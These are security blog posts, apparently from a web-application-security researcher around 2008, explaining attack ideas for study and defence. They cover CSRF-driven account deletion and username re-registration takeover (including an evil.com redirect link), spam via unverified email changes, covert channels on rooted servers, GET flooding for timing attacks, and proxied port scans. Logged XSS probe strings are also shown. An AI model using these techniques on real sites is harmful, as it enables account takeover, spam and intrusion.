  Well, I’ve had to sit on this info for quite some time but I’m happy to see that Phishme.com is now up and running. Phishme.com is founded by the Intrepidus Group who you may have heard of, with names like Rohyt Belani and Aaron Higbee at the corporate head. What is it? It’s education, but the kind of education that actually works for a change. If you’ve read this site long enough or heard my speeches you probably know I’m not the biggest fan of consumer education. It just isn’t impactful and it doesn’t give enough incentive for people to pay attention and learn. People don’t digest the information and they don’t become armed with the correct information on what to do when faced with an attack. That is until now.

  Phishme.com uses a fake phishing attack to simulate what a user might see in a really targeted (Spear-Phishing) attack against the company. Specifically it scrapes the pages of an organization’s website and then sends everyone in the company a phish email to entice them to click on it and give up their credentials. Once the user is phished their information is logged and aggregated for future use by the security team to do further communication with the impacted employees or build further metrics, etc. Screenshot of the interface:

  
  Click to enlarge

  Does it work? Preliminary numbers in at least one exercise with 24,000 people say there is a huge drop in the numbers of users who stop clicking on links. In the first run of one experiment 82% opened the email and 64% entered info. In the second 28% opened and 27% entered info and in the third 4.5% opened and 4% entered data. That’s a pretty impressive reduction because it’s actually actionable and it gets people thinking almost immediately about the problem and that it can and will negatively affect them personally. Would you rather phish your users or have the bad guys do it for you? Ethics of owning your own employees aside, I think it’s hugely valuable to know this information.

  There are all sorts of legal implications for doing this to your own staff and personally I think those issues are almost completely outweighed by the benefits of solid actionable training. When I talked with Rohyt about this, I get the feeling they’ve spent a lot of time trying to make the interface as difficult as possible to inadvertantly get compromised by trying not to actually transmit the password. So all in all, I think this product is going to do a lot of companies a lot of good. I can think of a dozen or so companies that need to go through this training right now. With phishing attacks becoming a constant and ever present attack, this is a very timely product!

• 

  Changing Email Addresses For Spam

  Posted: March 5th, 2008, 2:55pm CST by RSnake

  Tags:  Webappsec   [edit]

  While looking back at some of my old speeches, and after writing the last blog post it occurred to me there is another attack I haven’t heard anyone talk about. Often times spammers will use contact member forms for spamming purposes. But most contact forms can’t spoof the contact name so this form of spamming is pretty limited. However, let’s consider another common scenario, which is that a user is allowed to change their email address. Almost never is there an email address confirmation link sent to make sure you are indeed the owner of the email address. So let’s take an actual example.

  Let’s say Cathy wants to spam Alice, but Alice isn’t a member of the message board. Cathy signs up with two accounts, one to send messages from and one to receive them. Cathy logs in as the second user account and changes her email address to Alice’s. She then logs into the first user account and send the spam, which then gets routed to Alice. Then Cathy logs in to her second account, switches it to the next spam victim, logs back into her first account and sends a second spam and so on.

  The limitations here are that the email must actually contain the spam message to work, so if it’s just a link back to the platform, that won’t suffice since Alice isn’t a legitimate user of the system, let alone has access to Cathy’s account. The second problem is that the email probably contains some site specific information which can easily identify the spam as such. And thirdly, many sites send an email change notification to alert users that their email has been changed, so when Cathy switches her address over and over, she will also inadvertantly be sending emails to her victims telling them that she’s switching accounts.

  But in this way I believe many existing member to member communication functions can be used as spam gateways. Weird, huh?

• 

  Username Based Primary Key Issues

  Posted: March 5th, 2008, 10:40am CST by RSnake

  Tags:  Webappsec   [edit]

  Okay, I had more trouble naming this post than I did writing it so bear with the title, because I think this is actually a pretty interesting problem. I went out for cigars with a few uber old school hackers from a huge company last night and we got to talking about databases. I’m not exactly sure what lead my brain down the path, but I suddenly realized there’s actually some fairly tricky issues around data deletion/retention that can lead to sensitive information disclosure. Here’s how it works. Let’s say you have three people, Alice, Bob and Cathy. Alice and Bob are both good users of a web site message board. Maybe they have special privileges, or maybe they are just communicating privately and Cathy wants that information.

  In a secure database setup, if a user is deleted from a system no other user can take over their information after they are gone from the system. It’s not deleted (for data integrity/forensics, etc…) but it should be inaccessible to users. However, it turns out that not all database structures are made equal. Sometimes people use usernames as primary keys, or hashes of usernames, etc… instead of a non-reputable number. So let’s say Alice had her account deleted (intentionally or accidentally) there is an opportunity for Cathy to create a user account with the same name as Alice’s username and suddenly gain access to the same information that was supposed to be accessible only to Alice.

  Let’s take this further and bring back an old favorite and normally not all that interesting attack - DoS by CSRF - that is forcing a user to click on a “delete my account” link. Typically DoS isn’t all that interesting to me, but here’s where you can actually use it to take over the account. This all relies on knowing the username of the person you are attempting to compromise. So let’s say Cathy creates an account on the message board. On a forum she places an image link to http://www.evil.com/x.php?.jpg which looks at the referring URL before making the decision on whether to show a benign image, or redirect the user’s browser via 301 or 302 redirect to the delete user function (eg: http://www.good.com/deluser.php). If the referring URL contains the username “Alice” the Alice user’s browser automatically is redirected and the account is deleted.

  At this point Alice is probably almost immediately aware that her account has been deleted, so it is time critical that Cathy immediately registers with the same name “Alice”. Assuming the database uses the registered user as the primary key (or some derivation of the user name) it is possible for Cathy to now assume control over Alice’s account. Now she can read Alice’s private communication with Bob, or if Alice had some administrative controls, it might be possible for her to do other nefarious things, like promote other user’s access, etc…

  There is an alternative to trying to detect Alice’s name in a referring URL. One example is if images can be sent within private messages or other out of band communications, assuming Alice is already logged in it will have the same net effect of targeting the individual user. It’s also fairly easy to detect this in a blackbox situation simply by creating an account, using all the functions, deleting it and re-creating the same name to see if any data was retained during the creation of the account. The point being, it’s bad form to use a username as a primary key unless it’s forever off limits for future users attempting to re-assume that username. Kind of an esoteric problem, but as I talked with the gurus, at least one of them had actually seen this happen in his own penetration tests against some very large well known companies. So there you have it, it’s not even just a theoretical attack. Yet another thing to look out for and at least one good reason to protect account deletion functions from CSRF.

• 

  Certification for Web Application Security

  Posted: February 28th, 2008, 6:37pm CST by RSnake

  Tags:  Webappsec   [edit]

  Anurag is the man behind a new web application security certification. Offered as a joint WASC/SANS cert, it’s aiming to be the de-facto web application certification program for people in our field. Regulating the industry may not be all that bad of an idea, given that I see more bad security people than good. But beyond that it’s cool to see the industry growing up where it needs full fledged certification.

  Anyway, if you want to have some input on things that you’d like to see in the cert, now’s your chance. Click the link above and go to his surveymonkey link and spend a few minutes filling it out if this is at all interesting to you. Speak now or forever hold your peace.

  Now the real question is, I wonder if I’ll pass this cert. Hey, Anurag, can I get some sort of an exemption? I never was very good at test taking!

• 

  CSRF, Yup, It’s Real Folks

  Posted: February 2nd, 2008, 11:52am CST by RSnake

  Tags:  Webappsec   [edit]

  Arian Evans has sent me a few emails on this, so to get him off my back I’m going to do a quick post about CSRF (Cross Site Request Forgeries). Yes, it’s real, it’s used, and it’s far more dangerous than most people give it credit for. First, let’s re-cap the news. A CSRF in Gmail allowed some poor guy’s domain to get hijacked. Not too surprising, knowing how poor Google’s security is. Now, how about this one where a pharming attack was spotted in the wild that leveraged CSRF to take over victims’ routers and send all packets bound for a Mexican banking site instead to the attacker. Zulfikar Ramzan at Symantec fails to mention that much of that concept was based on my original technique which was to for the purpose of “breaking into a router” in his previous post, but alas. I like Zulfikar, so I won’t harp on him too much for missing that one.

  I cannot stress more how dangerous CSRF is. “One click attacks” are not even one click in most cases. You can simply visit a web board and instead of seeing an off domain image, you are invisibly having your router get re-routed, your credit card that’s on file with XYZ.com being used for purchases, your user preferences or passwords get changed and so on. I’ve seen a number of examples of CSRF in the wild now beyond this (it’s even been used against me), and I see no reason to believe this attack is going to decrease in likelihood or as a threat in general anytime in the near future. CSRF is here to stay. It’s how the Internet was built and it’s not changing any time in the near future.

• 

  Schmoilito’s Way Is Hacking Via Local Apps

  Posted: February 2nd, 2008, 11:24am CST by RSnake

  Tags:  Webappsec   [edit]

  I got an email from Schmoilito about some posts he did regarding Intranet hacking. Check them out here and here. There’s quite a bit of content there, surrounding how MSXML can be used to hack not Intranets, but local files as it provides a more robust infrastructure for doing local file reading. MSXML.XMLHTTP apparently doesn’t just pull remote files, but it can also be used to pull in file:// and read from local disc! Whoops! Time to lock that down if you use it. I guess we never really thought about zone escalation in a website’s requests. Erg!

  The second post talks more about using timing attacks to do enumeration of open ports on the remote system, which I did cover in the comments of the original post on this topic. It’s cool to see that someone has been able to see and re-produce my theoretical attack in the lab. I have a feeling we’re going to end up seeing a lot more of these types of things in the wild. Nasty. Nice job, Schmoilito!

• 

  Subversive JS for FileSharing

  Posted: February 2nd, 2008, 11:15am CST by RSnake

  Tags:  Webappsec   [edit]

  It’s been a long week but it’s not for naught. Lots to talk about, but not a lot of time to write it all. So let’s start with something I’ve been toying with for the last few days. Dan Kaminksy is one of those guys who is always looking for ways to build bit torrent with whatever technologies are available. It suddenly occurred to me that it’s actually possible under some very specific circumstances with existing technologies and a little trickery to use someone’s browser as a seeder in a convoluted scenario where you need to transfer a file to many people at the same time but bandwidth is at a premium.

  So, welcome to building subversive file sharing with client side applications. The first question id asked me was if I was going to build it and speak about it at Blackhat or something. The answer is emphatically no way. It would take quite a bit of work to build it in any sort of reliable way (it’s not above the readers of this site, I’m sure, but it’s well outside of the time I have to devote to something like this). Anyway, in case anyone was wondering, yes, you can build file sharing in JavaScript. Painful, yes, but definitely possible.

• 

  Process Doubling

  Posted: January 27th, 2008, 4:44pm CST by RSnake

  Tags:  Webappsec   [edit]

  I was working on a client a week ago or so and we completely compromised their network. It’s a fairly common occurrence during an audit (given there are logistical reasons that make many common techniques off limits). It was mission accomplished for showing the vulnerabilities in the client. However, I started thinking about the firewall egress filtering, or lack thereof. Granted, creating a reverse shell is fairly straight forward, but what if the situation was slightly different. What if there was egress filtering and I ended up rooting a web server? And in this situation let’s pretend that it was set up so that all that’s allowed out is port 80 and 443. What now? I can’t kill the web server, or people will certainly notice, and I can’t tunnel out on any other ports which are already locked up by the web server, so what alternative do I have?

  Sure, I could use some of the modern rootkits that talk outside of the TCP by sending single packets but some anti-DDoS boxes out there stop that sort of connection from even hitting a box. They do this for flood protection. They wait for a full TCP state to be initiated before they connect to the web server behind them (similar to a proxy server actually).

  Here’s where some programming skill could come into play. Why not re-program a web-server to also listen as if it were an IRC server or telnet or something else for back and forth real-time communication. We already have root access, so it’s easy enough to start and stop the process. It’s also fairly easy with some programming to create a switch in the code, to look for a different string and jump into a different mode. It could be a clever way around a fairly complex set of circumstances. Anyway, yet another odd thought.

• 

  IP Addresses Are Considered Personally Identifiable Information in the EU

  Posted: January 22nd, 2008, 9:39am CST by RSnake

  Tags:  Webappsec   [edit]

  There’s a very interesting report out on the fact that IP addresses are now potentially considered personally identifiable information in the EU. Whoah! I’m sure people can think of their own reasons this might be a big deal, but here is just a small smattering of stuff that I came up with:

  Advertising: banner ads are almost always pulled from a third party. That third party gets things like referrers and, what else, IP addresses! Sorry, say goodbye to third party ad revenue! Yes, that means you, Adsense and Overture! People can no longer leak that information to you as it’s PII!

  Tracking Pixels: tracking pixels are used by companies all over the world because it’s often easier than dealing with their own logs and buying and configuring their own log analysis software (especially if they get a lot of traffic). So Omniture and Google’s Urchin could be hard hit here.

  Embedded content: There are tons of bulletin boards, message boards, blogs, etc… out there that allow images to be posted off host. People like it because it doesn’t force them to have to build upload scripts, and maintain them. Sorry, no more embedded content, and that includes things like Youtube because that would leak the people’s IP addresses to third parties. Also, things like Gmodules which often pull in content from other domains would be a big no no without some changes. Same with Google cache, translation services, etc… etc…!

  There’s dozens of issues out there, but you’ll notice that this particular issue would wreak havoc on Google’s business model if it’s ever fully enforced. It’ll be interesting to see how this plays out and if there is any other tricky way people can use to get around this (like hashing the IP or stripping off the last bits - which is mentioned in the last part of the article but probably isn’t much actual protection since that only makes it 255 times harder to guess at best). This is one to watch folks!

• 

  Moto Q9 DoS and Fingerprinting

  Posted: January 12th, 2008, 12:10pm CST by RSnake

  Tags:  Webappsec   [edit]

  So I got a new smart phone, which has been highly entertaining when I’m stuck in airports, or waiting for meetings or whatever. It’s a Moto-Q9. Boy is it sexy - lots of features, fairly fast. It kinda reminds me of what Windows95 used to be - usable but not fast. It has the new version of Microsoft’s mobile operating system on there with direct push on there (similar to Blackberry which saves battery life, I’m sure, for real time email), a 2mega pixel camera, etc… etc… Fun little toy. So id and I were driving around town and I was messing with my phone as he drove and it suddenly occurred to me, I had never really toyed with the browser. So I start messing around with the settings, and of course turn off JavaScript. But then I realized, I had never tested it with JavaScript turned on. That’s when I went to Mr. T. What did Mr. T do to the Moto Q9 (which is running Opera, by the way)? It crashed it immediately.

  So then I start messing around with it, and I narrow it down to one of the things that’s more legacy than anything, the now fixed, MS mhtml bug. Uh oh. Yup, the mhtml bug appears to crash mobile Opera instantly. So back to keeping JS turned off, I guess (I haven’t tested if there is another way to cause the crash using a redirection or an iframe, but it takes a long time to test, so I’ll leave that to another day).

  Then I start messing with the other options, like the “Identify as” function. With it turned to “handheld device” the user agent reads, “MOT-Q9/01.04.35R Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Smartphone; 320×240) Opera 8.65 UP.Link/6.3.1.17.0″. Eesh! It gives my actual device type! So then I turn the setting to “desktop computer” it turns to “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en] UP.Link/6.3.1.17.0″. Okay, fair enough, that appears to be the more secure setting as at least it doesn’t say the revision and model number of the phone.

  That is, of course, until you look at the rest of the headers:

  HTTP_ACCEPT = application/xhtml+xml, application/vnd.wap.xhtml+xml, text/html, text/vnd.wap.wml, application/vnd.wap.wmlc, */*,text/x-hdml,image/mng,image/x-mng,video/mng,video/x-mng,image/bmp,text/html
  HTTP_ACCEPT_CHARSET = iso-8859-1, utf-8, utf-16, *;q=0.1,*
  HTTP_ACCEPT_ENCODING = deflate, gzip
  HTTP_ACCEPT_LANGUAGE = en
  HTTP_CACHE_CONTROL = no-cache
  HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en] UP.Link/6.3.1.17.0
  HTTP_VIA = 1.1 alnmagr1fe09WAP2-mbl
  HTTP_X_UP_DEVCAP_ACCEPT_LANGUAGE = en
  HTTP_X_UP_DEVCAP_CHARSET = utf-8,ISO-8859-1,US-ASCII,UTF-16,GB2312,BIG5
  HTTP_X_UP_DEVCAP_ISCOLOR = 1
  HTTP_X_UP_DEVCAP_NUMSOFTKEYS = 2
  HTTP_X_UP_DEVCAP_SCREENDEPTH = 16
  HTTP_X_UP_DEVCAP_SCREENPIXELS = 320,240
  HTTP_X_UP_DEVCAP_SMARTDIALING = 1
  HTTP_X_UP_SUBNO = ppu_105cb54061e_vmag.mycingular.net
  HTTP_X_WAP_PROFILE = “[uaprof.motorola.com]

  Okay, so now we know my provider how big my screen is, that it’s a mobile device of course (the reference to wap), but more importantly we get the actual profile of the phone in the RDF file with all the settings, so you know exactly what may or may not work against the phone! Geez! Talk about giving up too much info! I hardly consider myself a cell phone hacker (for that you’ll need to talk with the Flexilis guys) but in 5 minutes I found all that - that’s not a good start. Whelp, so much for surfing from my phone!

• 

  Top Web Hacks For 2007 - Call For Links

  Posted: January 8th, 2008, 3:57pm CST by RSnake

  Tags:  Webappsec   [edit]

  If you remember last year, Jeremiah, Zeno and I threw together the list for the top web hacks for 2006. It was a glorious age, where I had lots more spare time on my hands than I do now. Alas… Anyhow, instead of us giving our opinions to you, we felt it was far better for you to give your opinions to us. So Jeremiah threw up an abbreviated list of potential candidates for 2007.

  Jeremiah will cull them all together and then we’ll put it to a vote. This doesn’t include hacks against websites, but rather new techniques that further the webappsec field. Anyway, it should be fun to see the results! No hacking the polling booth now, kids!

• 

  Buy Diggs and Votes on StumbleUpon

  Posted: January 3rd, 2008, 6:32pm CST by RSnake

  Tags:  Webappsec   [edit]

  There’s an interesting site called Subvert and Profit where the owner claims to sell diggs and votes on stumbleupon for traffic generation. Selling at $1 per vote/digg the goal is to monetize that traffic through various marketing campaigns or traffic arbitraging. Pretty interesting business model, and at worst it’s against the ToS of the various companies - it’s probably not illegal in any way. Blackhat SEM at it’s finest. It’s really not much different than buying paid links on websites if you think about it.

  Some of the testimonials on the Subvert and Profit blog are pretty telling, such as, “the mind-boggling barrage of traffic which comes next, is nothing less than euphoric”. I can definitely agree that the volume of traffic from digg and stumbleupon, as well as reddit dwarfs slashdotting in our experience. Traffic arbitrage is here to stay, as long as the margins stay there. Pretty interesting!

• 

  Phishing Using FasterFox Prefetching

  Posted: January 3rd, 2008, 10:18am CST by RSnake

  Tags:  Webappsec   [edit]

  I actually had to read this email several times before I got it - paranoia taking over - I thought I was being told my site was hacked. No no, just another interesting way to abuse people that people find when visiting my site. This time, this email comes from Alex who found that pre-fetching can be used to phish users in certain circumstances.

  When I’m visiting ">http://ha.ckers.org/blog/20070608/cross-domain-basic-auth-phishing-tactics/

  my Firefox showed up the HTTP-Auth dialog immediately, which I placed on my subdomain testing.bitsploit.de But why I asked myself.

  I looked into your HTML source to find a hidden image or something like this, but I didn’t found anything but the link. I haven’t clicked on the link, so why does it pop up ? Than I figured out, that the FasterFox-Extension for Firefox prefetches that link and that’s why the HTTP-Auth dialog pops up.

  So there’s another chance to trick FasterFox-users (in forums) without having to use HTML/BBcode for embedding images.

  Alex is absolutely right. In fact, this is the exact reason I never used to use Opera (it turns out this is not the same kind of prefetching that Opera does, I only just learned). Sure you can turn it off, but pre-fetching has always been a dangerous thing to me. It can speed things up because it pre-fetches and caches the results, but if it pre-fetches and triggers something, like auto-deletion of your account, or automatically adds something to a shopping cart or anything else, you run into some pretty serious problems. Think CSRF. So yes, this apparently can also be used for phishing in FasterFox. But either way, it’s a very cool example of why pre-fetching can be nasty.

• 

  Book Review: The Pragmatic CSO

  Posted: January 2nd, 2008, 9:24am CST by RSnake

  Tags:  Webappsec   [edit]

  When I saw Mike Rothman’s name on the San Diego ISSA meeting speaker list, I tried to be the first person in the room. Yes, there were more technical talks I could have attended, but why would I want to? If you have never seen or talked to Mike, he is gruff, funny, and knowledgeable about security. I consider Mike to be a friend, so it wasn’t a surprise that he would send me an autographed copy of his self published book (which you will not find on Amazon or B&N). Trust me, that didn’t influence my opinion one way or another, but the inscription was definitely nice. What did influence my opinion of the book was that the content between it’s covers. Once I start reading it, I actually put down the other half dozen books I got until I finished every last word. Me? Finishing a book? I know, as crazy as it sounds, I managed to finish this one last night on a flight home.

  Where to start? I think the thing I like about this book is that it’s attempting to be relevant, not just to today’s problems, but all future problems. It’s trying to drop the techno-babble that we all tend to get stuck on, and start talking about how to run a business - a security business no less. He takes a tongue in cheek approach to his lesson, which is that of the CSO as an addict. CSOs have a tendency to live on the edge. Closer to that of a life of a fire fighter than that of an executive. He tries to break the bad habits by discouraging the old school attitude that the security community tends to have - forgetting the modern day reality of monetary gain as a key motivator for malicious hacking.

  At first I thought I’d like the book, with quotes like, “I’ve got two dogs at home. I don’t need any more friends.” Then I thought I’d hate the book when the main character, “Mike” said that his tests came back almost completely clean (because they almost never are, unless you really don’t know what you’re doing). But then, almost at the end of the book he pulled it out for me. He really ripped into why vulnerability assessments are critical to understanding your security and then the main character, “Mike” explained that he too had a laundry list of vulnerabilities. Whew! Mike Rothman gets it. One of the best quotes in the book for me was “Good Security = Compliance (but not vice versa)”. Oh, he so got me there. I fell in love with this book.

  Not only did he manage to cover a very complex topic, which is that of a troubled CSO in a changing world, but he also managed to make it clear that certain types of testing were critical to business success (including application testing). He also had an interesting take on using actual exploits, and social engineering during the penetration test. He said a number of times that the people who feel that you shouldn’t use those or that it is unethical to do to your staff are wrong. No, I’m not oversimplifying his words. He says they are “wrong”. Bad guys do not follow a code of ethics and neither should anyone who wants to test their security as if they were a bad guy. Bad guys do whatever it takes to break in (understanding, of course, that your data may or may not be valuable enough to risk their freedom for).

  Similarly, I loved his comments about not following best practices and not using the same thing as everyone else is. He’s hinting at some of the things I’ve discussed before regarding bio-diversity in networking and applications. It’s an interesting topic to see in a book like this, but I’m glad to see it in there.

  Throughout the book Mike puts in statements like, “use common sense”, which I often think are missing from books like this. He’s absolutely right, of course. I think that thread echos throughout his book. It’s not a technical book, it’s a book on changing your thinking to get you ahead of the assailant, in the good graces of your executive staff and into auditory compliance. I’ve run into countless people in the industry who desperately need to read this book so that they too can get a clue. It’s not rocket science. It’s the art of running security like a business. Five stars, Mike!

• 

  Google Spamming Us

  Posted: December 20th, 2007, 4:11pm CST by RSnake

  Tags:  Webappsec   [edit]

  You know, we get some really odd traffic. Some of it good, some of it not so much. Let’s take a look at some of Google’s traffic since it’s a slow day. If nothing else it’s good for a laugh. First let’s look at Google trying to hack us - XSS style:

  66.249.73.40 - - [26/Nov/2007:01:53:58 +0000] “GET /blog/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1″ 200 55053 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  Not too bad for a robot. How about some totally innane Apache directory structure stuff that couldn’t possibly work?

  66.249.73.40 - - [26/Nov/2007:00:46:03 +0000] “GET /bluehat-spring-2007/?C=S;O=A HTTP/1.1″ 200 3681 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  Someone needs to figure out how UTF-7 works:

  66.249.73.40 - - [26/Nov/2007:02:25:19 +0000] “GET /s.js+ACIAPgA8-/script+AD4-x HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  Oh don’t we love the Google spam? I really am disheartened that it’s this easy to con Google into spamming websites. As if I don’t get enough referrer spam, Google does one better. *sigh*

  66.249.73.40 - - [23/Nov/2007:19:11:23 +0000] “GET /weird/popup.html/Buy-NET.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [09/Dec/2007:07:21:51 +0000] “GET /weird/popup.html/Buy-COM.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [11/Dec/2007:05:24:19 +0000] “GET /weird/popup.html/Buy-MEUK.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [14/Dec/2007:17:48:58 +0000] “GET /weird/popup.html/Buy-INFO.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  Google has a lust for the goatse! Cannot get enough of it!!!!! Seriously, Google. I just don’t have Goatse on my machine. I promise! Granted, I 302 redirect all 404s to the homepage, instead of 301, so that’s my bad, but seriously - there is a reason I might want to do that and still not have goatse on my site. I don’t ever remember having it anyway. Time to give up the obsession, Google!

  66.249.73.40 - - [30/Nov/2007:01:04:10 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [07/Dec/2007:19:36:57 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [10/Dec/2007:20:17:00 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
  66.249.73.40 - - [19/Dec/2007:22:58:31 +0000] “GET /goatse.html HTTP/1.1″ 302 204 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  More spam anyone? Let’s see here… Google likes Viagra and goatse. I’m seeing a theme here!

  66.249.73.40 - - [26/Nov/2007:04:47:00 +0000] “GET /fierce/?ref=SaglikAlani.Com HTTP/1.1″ 304 - “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

  And the trackbacks… oh Google, please figure out what a Trackback is and stop spidering it. I swear, no matter how many bazillion times you look at the trackback pages, you’re still not going to find anything useful there. I double cross my heart and swear to die. This is from Nov 18th-Dec 20th (just over one month):

  $ grep 66.249.73.40 error_log |grep -c wp-trackback
  938

  Think how much bandwidth Google uses that is just completely unnecessary. The countless and senseless bandwidth waste-age. I started using Google because it was light on my personal bandwidth - so much for that idea.

• 

  Fierce 1.0

  Posted: December 20th, 2007, 10:39am CST by RSnake

  Tags:  Webappsec   [edit]

  Okay, it’s about time. I am finally releasing Fierce 1.0 as a production ready DNS enumeration tool. What does that mean? It means it works. We have now gotten rid of all the kinks that made me think that it was crippled in a way that made me not want to rely on it. So what was fixed? Well, thanks to Jabra we have now patched fierce so that when it does a zone transfer it continues working, in the off chance that someone messes with the zone transfer to fool fierce into stopping before it sees the real output. Alas, it was a small but important issue to fix.

  So! Much much more work to be done. Not the least of which is better dictionary support (especially with cnames like www.corp.company.com where “corp” represents a sub dictionary) better enumeration for things like www01, www02, etc… Future support to make it into a PERL module perhaps for bigger projects, etc… Lots to do! It’s a nice release, given that it’s been in beta for a year through countless sub revisions as we worked a lot of the production kinks out.

  In other news, Fierce will be part of Backtrack 3.0. No word on when Backtrack 3 will be made production but you can download the beta now. So for those pen testers out there who rely on Backtrack for their toolset you will go without Fierce in your arsenal no longer. Jabra is the one who ported into backtrack as well. Anyway, big thanks to Jabra for the help!

• 

  Matrix Re-loaded

  Posted: December 16th, 2007, 11:20am CST by RSnake

  Tags:  Webappsec   [edit]

  There is an interesting post over at hackosis talking about using deceptive security models. I’ve always thought this was a good technique in theory. I wrote about it early last year in something called matrix as a security model, wherein you confuse the attacker by giving them completely different results.

  I’ve also written about it on Darkreading regarding widespread use of blacklisting having the effect of causing hackers to become better. The problem of how to deal with an attack may be a better problem for evolutionary biologists to solve than computer scientists.

• 

  NASDAQ Symbology Change

  Posted: December 13th, 2007, 9:18pm CST by RSnake

  Tags:  Webappsec   [edit]

  In talking with one of my clients the topic of special characters came up and one of the things they mentioned being worried about was symbology changes at NASDAQ. For those of you who don’t follow this kind of stuff, the old ticker symbols constituted a fairly small subset of possible combinations. The symbology change was designed to allow greater flexibility in the future of the naming conventions (think about it being like the difference between IPv4 and IPv6 in the stock market). Click here to read more details.

  That would probably be all fine and dandy except some of the characters actually mean things in programming languages. for instance % * # $ ~ + ! @ are included in the list of possible legal characters. How many lines of code do you think need to be reviewed and fixed before this actually will work seamlessly? My guess is many millions. How many new exploits do you think this will open? Hard to say, but it should be interesting to watch.

• 

  Exaggerating Timing Attack Results Via GET Flooding

  Posted: December 9th, 2007, 10:04pm CST by RSnake

  Tags:  Webappsec   [edit]

  A post by Super-Friez got me thinking of an actual useful application for GET request flooding this evening. Normally we only think of GET requests as a binary thing - one at a time or flooding. But what if we only launched enough GET requests with the intention of impacting server load, not bandwidth latency. So picking the right URL would be critical here (DB impacts, most likely).

  When you found the right URL, launching a GET request flood against the server could seriously delay certain types of requests (especially if they must touch a database two times versus one time, for instance - if the DB was part of the flooding). Suddenly something that is normally the difference of a few microseconds could be the difference of seconds. Who cares? Because I’m always curious if there are any practical applications in hacking for DoS and this appears to be one of them - at least in theory.

• 

  Initiating Probes Against Servers Via Other Servers

  Posted: December 9th, 2007, 4:41pm CST by RSnake

  Tags:  Webappsec   [edit]

  Okay, this is convoluted but still kinda cool. I was looking through some pages on various tools out there, and happened across GRC’s probe page that is designed to detect if there are open ports and what the threats are associated with that port. It is protected from nefarious purposes by only scanning the port of the IP address you are originating from. Then I thought, wait, I can come from anywhere that I can get to request this page. The first page that came to mind? W3C’s validator.

  Click here to see W3C’s validator requesting and getting the results of GRC’s probe against W3C’s port 80. Pretty esoteric, huh? Yah, I know, there’s not a whole lot of practicality here, except if I wanted to launch a port scan against a site that had something like a http get function (remote image include for instance) I could get GRC to perform the probe on my behalf. If someone were actually logging, they’d most likely see GRC as the attacker. GRC would say, “no, you are the attacker, asking us to attack you.” and W3C would have to look in their logs to find my IP (which would unlikely be associated with me if I had any clue, as an attacker). Maybe locking things down to IP based restrictions isn’t the best security measure if the only input is via a GET string. Something as simple as a post parameter would have stopped me. Odd but worth mentioning.